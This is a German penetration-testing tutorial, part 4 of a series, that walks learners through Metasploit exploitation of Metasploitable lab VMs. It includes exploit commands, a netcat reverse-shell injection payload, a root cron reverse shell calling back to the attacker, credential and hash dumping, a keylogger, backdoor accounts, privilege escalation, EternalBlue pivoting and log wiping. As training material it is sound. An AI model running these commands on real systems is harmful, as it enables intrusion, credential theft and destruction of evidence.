Der Weg des Hackers: Eine 5-teilige Serie
Teil 1: Einführung → Teil 2: Flipper-Meisterschaft → Teil 3: Kali Grundlagen → Teil 4: Exploitation → Teil 5: Das vollständige Audit
In den Teilen 1-3 hast du dein Toolkit aufgebaut. Du kannst Badges klonen, Netzwerke kartieren, Handshakes abfangen und jeden Dienst identifizieren, der auf einem Ziel läuft. Du siehst jetzt überall Schwachstellen. Aber eine Schwachstelle zu sehen und sie auszunutzen sind sehr unterschiedliche Fähigkeiten.
Hier wird es ernst. Heute lernst du das Metasploit Framework kennen, dasselbe Tool, das professionelle Penetrationstester weltweit einsetzen. Du wirst deine erste Schwachstelle ausnutzen, Persistenz etablieren, Privilegien eskalieren und lernen, durch ein Netzwerk zu pivotieren.
Die Linie, die du nicht überschreiten darfst
Alles in diesem Artikel muss auf Systemen geübt werden, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung hast. Unbefugter Zugriff auf Computersysteme ist ein Bundesverbrechen mit Strafen von bis zu 20 Jahren Gefängnis. "Ich habe nur gelernt" ist keine Verteidigung. Baue ein Lab auf, nutze absichtlich verwundbare VMs und fasse niemals Systeme an, die dir nicht gehören.
Teil 1: Dein Angriffs-Lab aufbauen
Bevor du irgendetwas exploitest, brauchst du Ziele. Echte Penetrationstester nutzen isolierte Lab-Umgebungen mit absichtlich verwundbaren Maschinen. Das wirst du auch tun.
Das grundlegende Lab-Setup
Was du brauchst
- Kali Linux VM - Deine Angriffsmaschine (aus Teil 3)
- Metasploitable 2 - Absichtlich verwundbare Linux VM (SourceForge)
- Metasploitable 3 - Verwundbare Windows/Linux VM (GitHub)
- DVWA - Damn Vulnerable Web Application (GitHub)
- VulnHub VMs - CTF-artige verwundbare Maschinen (vulnhub.com)
Projekt: Lab-Netzwerk einrichten
Zeit: 45 Minuten
- Lade Metasploitable 2 von SourceForge herunter
- Importiere in VirtualBox/VMware
- Netzwerk konfigurieren: Setze Kali und Metasploitable auf "Host-Only" oder "Internal Network"
- Starte Metasploitable (Standard-Login:
msfadmin/msfadmin) - Notiere die IP-Adresse:
ifconfig - Von Kali aus, prüfe Konnektivität:
ping METASPLOITABLE_IP - Führe einen ersten Scan durch:
sudo nmap -sV -sC METASPLOITABLE_IP
Überprüfung: Du solltest Dutzende offene Ports sehen. Metasploitable ist dafür konzipiert, kompromittiert zu werden.
Dein nmap-Scan von Metasploitable sollte Dienste wie FTP, SSH, Telnet, SMTP, HTTP, Samba, MySQL, PostgreSQL und mehr zeigen, viele davon mit veralteten, verwundbaren Versionen. Das ist dein Spielplatz.
Teil 2: Metasploit Framework Grundlagen
Metasploit ist nicht nur ein Tool. Es ist ein Ökosystem. Es enthält Tausende von Exploits, Payloads, Hilfsmodulen und Post-Exploitation-Tools. Seine Struktur zu verstehen ist essenziell.
Metasploit starten
1# Initialize the database (first time only)
2sudo msfdb init
3
4# Start Metasploit console
5msfconsole
6
7# You'll see the Metasploit banner and prompt:
8msf6 >Die Metasploit-Struktur
Metasploit organisiert alles in Module:
- Exploits - Code, der Schwachstellen ausnutzt
- Payloads - Code, der nach der Exploitation ausgeführt wird (Shells, Meterpreter)
- Auxiliary - Scanner, Fuzzer und andere Hilfsprogramme
- Post - Post-Exploitation-Module für Persistenz, Pivoting
- Encoders - Verschleiern Payloads, um Erkennung zu umgehen
1# Search for modules
2msf6 > search type:exploit platform:linux smb
3
4# Search by CVE
5msf6 > search cve:2017-0144
6
7# Search by name
8msf6 > search vsftpd
9
10# Get info about a module
11msf6 > info exploit/unix/ftp/vsftpd_234_backdoorDer Exploitation-Workflow
Jede Metasploit-Exploitation folgt demselben Muster:
- Exploit auswählen -
use exploit/path/to/module - Optionen setzen - Ziel-IP, Ports, Zugangsdaten
- Payload auswählen - Was nach der Exploitation läuft
- Ausführen -
exploitoderrun
Teil 3: Dein erster Exploit
Lass uns eine der berühmtesten Backdoors der Geschichte exploiten: die vsftpd 2.3.4 Backdoor. 2011 hat jemand eine Hintertür in den vsftpd-Quellcode eingefügt. Wenn du einen Benutzernamen sendest, der mit :) endet, öffnet sich eine Shell auf Port 6200.
Metasploitable 2 führt genau diese Version aus.
1# Start Metasploit
2msfconsole
3
4# Search for the exploit
5msf6 > search vsftpd
6
7# Select the exploit
8msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
9
10# View required options
11msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
12
13# Set the target
14msf6 exploit(...) > set RHOSTS 192.168.56.101
15
16# Run the exploit
17msf6 exploit(...) > exploit
18
19# If successful:
20[*] Command shell session 1 opened
21[+] Got shell!
22
23# You now have a root shell on the target
24whoami
25root
26id
27uid=0(root) gid=0(root)Das war's. Ein verwundbarer Dienst, ein Exploit, Root-Zugriff. Deshalb ist es wichtig, Software aktuell zu halten.
Projekt: vsftpd Backdoor exploiten
Zeit: 15 Minuten
Voraussetzungen: Metasploitable 2 läuft, Kali im selben Netzwerk
- Überprüfe, dass FTP läuft:
nmap -sV -p 21 TARGET_IP - Starte msfconsole
- Suche, wähle und konfiguriere den vsftpd-Exploit
- Führe den Exploit aus
- Sobald du eine Shell hast, erkunde:
cat /etc/shadow
Erfolgskriterium: Du kannst /etc/shadow lesen, worauf nur Root zugreifen kann.
Teil 4: Payloads verstehen
Ein Payload ist das, was nach dem erfolgreichen Exploit ausgeführt wird. Die einfache Shell, die wir oben bekommen haben, ist simpel, aber Metasploit bietet viel mächtigere Optionen.
Payload-Typen
- Singles - Eigenständige Einmal-Payloads (Benutzer hinzufügen, Befehl ausführen)
- Stagers - Kleine Payloads, die eine Verbindung aufbauen und dann den Haupt-Payload herunterladen
- Stages - Der Haupt-Payload, der vom Stager heruntergeladen wird (Meterpreter)
1# List compatible payloads for current exploit
2msf6 exploit(...) > show payloads
3
4# Set a specific payload
5msf6 exploit(...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
6
7# Payload naming convention:
8# platform/arch/payload_type/connection_type
9# linux/x86/meterpreter/reverse_tcp
10# windows/x64/shell/bind_tcpReverse vs Bind Shells
- Reverse Shell - Das Ziel verbindet sich zurück zu dir. Besser zum Umgehen von Firewalls (ausgehender Verkehr ist normalerweise erlaubt).
- Bind Shell - Das Ziel öffnet einen Port, damit du dich verbinden kannst. Leichter zu erkennen, oft von Firewalls blockiert.
1# For reverse shells, you must set your IP
2msf6 exploit(...) > set LHOST YOUR_KALI_IP
3msf6 exploit(...) > set LPORT 4444
4
5# Metasploit starts a listener automatically when you exploitMeterpreter: Der ultimative Payload
Meterpreter ist Metasploits mächtigster Payload. Er läuft komplett im Speicher (keine Dateien auf der Festplatte), bietet verschlüsselte Kommunikation und enthält Dutzende eingebauter Befehle für Post-Exploitation.
1# Meterpreter commands (once you have a session)
2meterpreter > sysinfo # System information
3meterpreter > getuid # Current user
4meterpreter > pwd # Current directory
5meterpreter > ls # List files
6meterpreter > download file # Download file to Kali
7meterpreter > upload file # Upload file to target
8meterpreter > shell # Drop to system shell
9meterpreter > hashdump # Dump password hashes
10meterpreter > screenshot # Take screenshot
11meterpreter > keyscan_start # Start keylogger
12meterpreter > keyscan_dump # Dump keystrokes
13meterpreter > background # Background this sessionTeil 5: Weitere Exploitation-Techniken
Samba (SMB) exploiten
Metasploitable 2 führt eine verwundbare Version von Samba aus. Das ist ähnlich wie der berüchtigte EternalBlue-Exploit, der bei WannaCry verwendet wurde.
1# Search for Samba exploits
2msf6 > search type:exploit samba
3
4# The "username map script" vulnerability
5msf6 > use exploit/multi/samba/usermap_script
6msf6 exploit(...) > set RHOSTS TARGET_IP
7msf6 exploit(...) > set PAYLOAD cmd/unix/reverse
8msf6 exploit(...) > set LHOST YOUR_IP
9msf6 exploit(...) > exploit
10
11[*] Command shell session 2 openedSchwache Zugangsdaten ausnutzen
Nicht jeder Kompromiss erfordert eine Software-Schwachstelle. Schwache Passwörter sind überall.
1# SSH brute-force auxiliary module
2msf6 > use auxiliary/scanner/ssh/ssh_login
3msf6 auxiliary(...) > set RHOSTS TARGET_IP
4msf6 auxiliary(...) > set USERNAME root
5msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
6msf6 auxiliary(...) > set STOP_ON_SUCCESS true
7msf6 auxiliary(...) > run
8
9# For known credentials
10msf6 > use auxiliary/scanner/ssh/ssh_login
11msf6 auxiliary(...) > set USERNAME msfadmin
12msf6 auxiliary(...) > set PASSWORD msfadmin
13msf6 auxiliary(...) > run
14
15[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'Webanwendungs-Exploitation
Metasploitable enthält mehrere verwundbare Webanwendungen. Lass uns eine PHP-Code-Injection exploiten.
1# First, browse to http://TARGET/mutillidae/
2# Find the "User Lookup" page (vulnerable to SQLi and code injection)
3
4# Use Metasploit's web exploits
5msf6 > search type:exploit php
6
7# Or exploit manually with command injection:
8# In vulnerable input field:
9; cat /etc/passwd
10; nc -e /bin/bash YOUR_IP 4444Projekt: Drei verschiedene Dienste exploiten
Zeit: 60 Minuten
Ziel: Metasploitable 2
- Exploite die vsftpd-Backdoor (FTP - Port 21) und erhalte eine Root-Shell
- Exploite Samba usermap_script (SMB - Port 139/445) und erhalte eine Root-Shell
- Knacke SSH-Zugangsdaten (Port 22) mit auxiliary/scanner/ssh/ssh_login
- Dokumentiere jede Exploitation: verwendetes Modul, gesetzte Optionen, Ergebnis
Bonus: Erkunde die Webanwendungen auf Port 80 und finde manuelle Exploitation-Vektoren.
Teil 6: Post-Exploitation
Eine Shell zu bekommen ist nur der Anfang. Echte Penetrationstests erfordern, zu demonstrieren, was ein Angreifer mit diesem Zugriff tun könnte. Das ist Post-Exploitation.
Informationssammlung
1# From a Meterpreter session
2meterpreter > sysinfo
3Computer : metasploitable
4OS : Linux 2.6.24
5Architecture: i686
6Meterpreter : x86/linux
7
8# Network information
9meterpreter > ipconfig
10meterpreter > route
11meterpreter > arp1# From a regular shell
2cat /etc/passwd # All users
3cat /etc/shadow # Password hashes (requires root)
4cat /etc/hosts # Network mappings
5netstat -tulpn # Open ports
6ps aux # Running processes
7crontab -l # Scheduled tasksZugangsdaten ernten
1# Dump password hashes
2meterpreter > hashdump
3root:$1$XtqVHIvN$0MnR7..........:0:0:root:/root:/bin/bash
4msfadmin:$1$XN10Zj2c$Rt/zzC........:1000:1000::/home/msfadmin:/bin/bash1# Or from shell
2cat /etc/shadow
3
4# Crack hashes offline with John the Ripper
5john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
6
7# Or hashcat (faster with GPU)
8hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txtPersistenz etablieren
Persistenz bedeutet, den Zugriff auch nach Neustarts oder wenn dein ursprünglicher Exploit-Vektor gepatcht wird beizubehalten.
1# Add a new user with sudo access
2useradd -m -s /bin/bash hacker
3echo "hacker:password123" | chpasswd
4usermod -aG sudo hacker
5
6# Add SSH key for passwordless access
7mkdir /home/hacker/.ssh
8echo "YOUR_PUBLIC_KEY" >> /home/hacker/.ssh/authorized_keys
9
10# Cron-based reverse shell (reconnects every minute)
11echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root
12
13# Metasploit persistence module
14meterpreter > run persistence -h
15meterpreter > run persistence -X -i 60 -p 4444 -r YOUR_IPPersistenz = Beweise
Jeder Persistenzmechanismus hinterlässt Spuren. Bei einem echten Penetrationstest dokumentierst du, was du tun könntest, und räumst dann auf. Backdoors auf Kundensystemen zu hinterlassen ist unprofessionell und potenziell illegal. In deinem Lab, geh auf Nummer sicher, aber verstehe die Auswirkungen.
Teil 7: Privilegieneskalation
Oft erhältst du initialen Zugriff als Benutzer mit wenigen Rechten. Die Eskalation zu root/admin ist normalerweise erforderlich, um Testziele zu erreichen.
Linux Privilegieneskalation
1# Current user context
2id
3whoami
4
5# SUID binaries (run as owner regardless of who executes)
6find / -perm -4000 -type f 2>/dev/null
7
8# World-writable directories
9find / -writable -type d 2>/dev/null
10
11# Sudo permissions
12sudo -l
13
14# Kernel version (for kernel exploits)
15uname -a
16
17# Running processes as root
18ps aux | grep root
19
20# Cron jobs
21cat /etc/crontab
22ls -la /etc/cron.*Automatisierte Enumerations-Skripte
- LinPEAS - github.com/carlospolop/PEASS-ng
- LinEnum - github.com/rebootuser/LinEnum
- linux-exploit-suggester - GitHub
1# Upload and run LinPEAS
2# From Kali, host the script:
3python3 -m http.server 8000
4
5# From target:
6wget http://YOUR_IP:8000/linpeas.sh
7chmod +x linpeas.sh
8./linpeas.sh
9
10# LinPEAS highlights potential vectors in colors:
11# RED/YELLOW = Critical findings, likely exploitableHäufige Linux Privesc-Vektoren
1# 1. Sudo misconfiguration
2sudo -l
3# If you see: (ALL) NOPASSWD: /usr/bin/vim
4sudo vim -c '!sh'
5# Instant root shell
6
7# 2. SUID binary exploitation
8# If /usr/bin/find has SUID bit:
9find . -exec /bin/sh -p \;
10
11# 3. Writable /etc/passwd
12# Generate password hash:
13openssl passwd -1 mypassword
14# Add to /etc/passwd:
15echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
16
17# 4. Cron job exploitation
18# If a cron runs a writable script as root:
19echo 'chmod +s /bin/bash' >> /path/to/cron/script
20# Wait for cron, then:
21/bin/bash -p
22# Root shellWindows Privilegieneskalation
Wenn du Windows-Ziele testest (Metasploitable 3), unterscheiden sich die Techniken:
1# From Meterpreter on Windows
2meterpreter > getuid
3Server username: VICTIM\lowpriv_user
4
5meterpreter > getsystem
6[+] ...got SYSTEM
7
8# If getsystem fails, try:
9meterpreter > run post/multi/recon/local_exploit_suggester
10
11# Or background and use specific exploit:
12meterpreter > background
13msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
14msf6 exploit(...) > set SESSION 1
15msf6 exploit(...) > exploitProjekt: Vom Benutzer zu Root eskalieren
Zeit: 45 Minuten
Szenario: Du hast SSH-Zugriff auf Metasploitable als msfadmin (nicht root)
- SSH zu Metasploitable:
ssh msfadmin@TARGET - Führe
idaus, um zu bestätigen, dass du nicht root bist - Prüfe Sudo-Berechtigungen:
sudo -l - Suche nach SUID-Binaries:
find / -perm -4000 2>/dev/null - Lade LinPEAS hoch und führe es aus
- Identifiziere einen Privesc-Vektor und nutze ihn aus
Ziel: Erhalte eine Root-Shell, ohne einen Netzwerkdienst zu exploiten.
Teil 8: Pivoting
Pivoting bedeutet, ein kompromittiertes System zu nutzen, um andere Systeme anzugreifen, die von deiner Angriffsmaschine nicht direkt erreichbar sind. So bewegen sich Angreifer lateral durch Netzwerke.
Das Pivot-Szenario
Stell dir dieses Netzwerk vor:
- Dein Kali: 192.168.1.100
- Kompromittierter Host: 192.168.1.50 (auch verbunden mit dem internen Netzwerk 10.0.0.0/24)
- Ziel: 10.0.0.10 (nur erreichbar von 192.168.1.50)
Du kannst 10.0.0.10 nicht direkt erreichen. Aber über den kompromittierten Host schon.
Metasploit Routing
1# After getting a Meterpreter session on the pivot host
2meterpreter > ipconfig
3# Shows two interfaces: 192.168.1.50 and 10.0.0.50
4
5meterpreter > run autoroute -s 10.0.0.0/24
6[+] Added route to 10.0.0.0/24 via session 1
7
8meterpreter > background
9
10# Now Metasploit routes 10.0.0.0/24 traffic through session 1
11msf6 > route print
12
13# Scan the internal network
14msf6 > use auxiliary/scanner/portscan/tcp
15msf6 auxiliary(...) > set RHOSTS 10.0.0.1-254
16msf6 auxiliary(...) > set PORTS 22,80,443,445
17msf6 auxiliary(...) > run
18
19# Exploit internal targets through the pivot
20msf6 > use exploit/windows/smb/ms17_010_eternalblue
21msf6 exploit(...) > set RHOSTS 10.0.0.10
22msf6 exploit(...) > exploitSOCKS Proxy für vollen Zugriff
1# Set up a SOCKS proxy through Meterpreter
2msf6 > use auxiliary/server/socks_proxy
3msf6 auxiliary(...) > set SRVPORT 1080
4msf6 auxiliary(...) > run
5
6# Configure proxychains (/etc/proxychains4.conf)
7socks5 127.0.0.1 1080
8
9# Now any tool can access the internal network
10proxychains nmap -sT -Pn 10.0.0.10
11proxychains curl http://10.0.0.10
12proxychains ssh [email protected]SSH-Tunneling (Ohne Metasploit)
1# Dynamic port forwarding (SOCKS proxy)
2ssh -D 1080 user@pivot_host
3
4# Local port forwarding (specific port)
5ssh -L 8080:10.0.0.10:80 user@pivot_host
6# Now localhost:8080 reaches 10.0.0.10:80
7
8# Remote port forwarding (expose your service to internal network)
9ssh -R 4444:localhost:4444 user@pivot_host
10# Internal hosts can reach your port 4444 via pivot_host:4444Teil 9: Spuren verwischen
Professionelle Penetrationstester dokumentieren ihren Zugriff, räumen aber hinter sich auf. Zu verstehen, wie Angreifer ihre Spuren verwischen, hilft dir auch, Einbrüche zu erkennen.
1# Clear bash history
2history -c
3cat /dev/null > ~/.bash_history
4
5# Clear auth logs (requires root)
6echo "" > /var/log/auth.log
7echo "" > /var/log/wtmp
8echo "" > /var/log/btmp
9
10# Remove specific log entries
11sed -i '/YOUR_IP/d' /var/log/auth.log
12
13# Timestomp (change file timestamps)
14touch -r /etc/passwd /path/to/your/file
15
16# Meterpreter
17meterpreter > clearev # Clear Windows event logs
18meterpreter > timestomp file -m "01/01/2020 12:00:00"Im echten Einsatz: Tu das nicht
Professionelle Pentester dokumentieren ihren Zugriff und berichten ihre Ergebnisse. Sie verstecken sie nicht. Logs zu löschen zerstört Beweise, die Verteidiger brauchen, um den Angriffspfad zu verstehen. Übe diese Techniken nur in deiner isolierten Lab-Umgebung.
Der Weg des Hackers
Eine 5-teilige Serie, die dich von neugierig zu fähig bringt.
Teil 1: Einführung Teil 2: Flipper-Meisterschaft Teil 3: Kali Grundlagen Teil 4: Exploitation ✓ Teil 5: Vollständiges Audit
Teil 4 Checkliste
☐ Lab-Setup: Metasploitable 2 läuft, isoliertes Netzwerk konfiguriert
☐ Metasploit: Datenbank initialisiert, grundlegende Navigation gemeistert
☐ Erster Exploit: vsftpd-Backdoor exploited, Root-Shell erhalten
☐ Mehrere Vektoren: FTP, SMB exploited und SSH-Zugangsdaten geknackt
☐ Post-Exploitation: Passwort-Hashes gedumpt, System enumeriert
☐ Privilegieneskalation: Vom Benutzer zu Root eskaliert ohne Netzwerk-Exploit
☐ Pivoting: Autoroute und SOCKS-Proxy-Konzepte verstanden
☐ Dokumentation: Alle Exploits mit Schritten und Beweisen dokumentiert
Was kommt als Nächstes
Du hast gelernt, Schwachstellen auszunutzen, Privilegien zu eskalieren und durch Netzwerke zu pivotieren. Du hast gesehen, wie schnell eine einzige Schwäche zum totalen Kompromiss wird. Du verstehst, was professionelle Penetrationstester tun.
In Teil 5 bringen wir alles zusammen. Du wirst ein komplettes Sicherheitsaudit von Anfang bis Ende durchführen:
- Scoping und Einsatzregeln
- Vollständige Reconnaissance-Methodik
- Systematische Exploitation
- Umfassende Post-Exploitation
- Professioneller Bericht
- Empfehlungen zur Behebung
Teil 5 ist das Abschlussprojekt. Alles, was du in dieser Serie gelernt hast, kommt zusammen in einer praxisnahen Methodik, die du nutzen kannst, um die Sicherheit jedes Netzwerks zu bewerten, für das du autorisiert bist.
Du hast die Techniken gelernt. Jetzt lernst du die Methodik. Teil 5 verwandelt Fähigkeiten in einen vollständigen Penetrationstest-Workflow.
Wir sehen uns in Teil 5.